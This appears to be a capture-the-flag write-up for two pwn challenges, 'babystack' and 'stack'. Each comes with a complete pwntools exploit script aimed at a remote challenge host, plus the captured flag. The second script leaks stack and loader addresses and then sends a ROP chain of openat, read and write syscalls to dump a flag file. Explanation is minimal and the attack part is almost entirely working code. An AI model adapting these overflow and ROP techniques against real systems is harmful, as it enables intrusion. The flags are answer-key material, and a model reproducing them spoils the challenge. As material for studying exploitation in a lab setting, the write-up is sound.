# babystack
## Information
- Category: Pwn
- Points: 500
## Description
> 拿到属于你的 shell 吧<br/>
> Get your own shell
## Write-up
？
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./babystack"
HOST, PORT = "pwn-10ba42cde6.challenge.xctf.org.cn", 9999
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
payload = flat(
b"A" * 24,
)
target.sendafter(b"flag1:", payload)
payload = flat(
b"B" * 0xF8,
0x1337ABC,
)
raw_input("DEBUG")
target.sendlineafter(b"flag2:", payload)
target.interactive()
if __name__ == "__main__":
main()
```
## Flag
:spoiler[`flag{W528uZdUsvWbiWxqon5YLvZa8x6uo8IP}`]
# stack
## Information
- Category: Pwn
- Points: 500
## Description
> 我不需要 libc，我猜你也可以不需要<br/>
> I don't need libc, and I guess you don't need it either
## Write-up
~~为了「讨好」，哦不，是「迎合」，迎合 description，我用 ld……~~
`printf` 使用 rbp 定位，可以用来泄漏栈地址和其它任意地址。
```asm showLineNumbers=false {26-27}
; Attributes: bp-based frame
; int sub_401354()
sub_401354 proc near
s= byte ptr -10h
; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 10h
lea rax, [rbp+s]
mov edx, 10h ; n
mov esi, 0 ; c
mov rdi, rax ; s
call _memset
lea rax, aCouldYouTellMe ; "Could you tell me your name?"
mov rdi, rax ; s
call _puts
lea rax, [rbp+s]
mov edx, 18h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rax, [rbp+s]
mov rsi, rax
lea rax, format ; "Hello, %s!n"
mov rdi, rax ; format
mov eax, 0
call _printf
nop
leave
retn
; } // starts at 401354
sub_401354 endp
```
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./pwn_patched"
HOST, PORT = "pwn-2229eb847f.challenge.xctf.org.cn", 9999
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
# raw_input("DEBUG")
target.sendafter(b"name?", b"A" * 0x10)
target.recvuntil(b"A" * 0x10)
stack = int.from_bytes(target.recv(0x6), "little")
ld = stack + 0xC0
ret = stack + 0x20
target.success(f"stack: {hex(stack)}")
payload = flat(
b"A" * 0x60,
ret + 0x60,
0x4013D4, # read
)
# raw_input("DEBUG")
target.sendafter(b"Any thing else?", payload)
payload = flat(
0x401413, # main
b"A" * 0x58,
ld + 0x10,
0x40139B, # printf
)
target.sendline(payload)
target.recvuntil(b"Hello, ")
leaked_ld = int.from_bytes(target.recv(0x6), "little") - 0x3B2E0
target.success(f"libc: {hex(leaked_ld)}")
target.sendlineafter(b"name?", b"")
flag = stack - 0xA0
payload = flat(
b"./flagx00x00",
b"A" * 0x60,
# openat
leaked_ld + 0x25E6B, # pop rdi; ret
-100,
leaked_ld + 0x54DA, # pop rsi; ret
flag,
leaked_ld + 0x20322, # pop rax; pop rdx; pop rbx; ret
0x101,
0,
0,
leaked_ld + 0x16629, # syscall; ret
# read
leaked_ld + 0x25E6B, # pop rdi; ret
0x3,
leaked_ld + 0x54DA, # pop rsi; ret
elf.bss() + 0x500,
leaked_ld + 0x20322, # pop rax; pop rdx; pop rbx; ret
0,
0x1337,
0,
leaked_ld + 0x16629, # syscall; ret
# write
leaked_ld + 0x25E6B, # pop rdi; ret
0x1,
leaked_ld + 0x54DA, # pop rsi; ret
elf.bss() + 0x500,
leaked_ld + 0x20322, # pop rax; pop rdx; pop rbx; ret
1,
0x1337,
0,
leaked_ld + 0x16629, # syscall; ret
)
raw_input("DEBUG")
target.sendafter(b"Any thing else?", payload)
target.interactive()
if __name__ == "__main__":
main()
```
## Flag
:spoiler[`flag{nfRlSH0ll0o4j4kd05IA6NJWtO8DYYSk}`]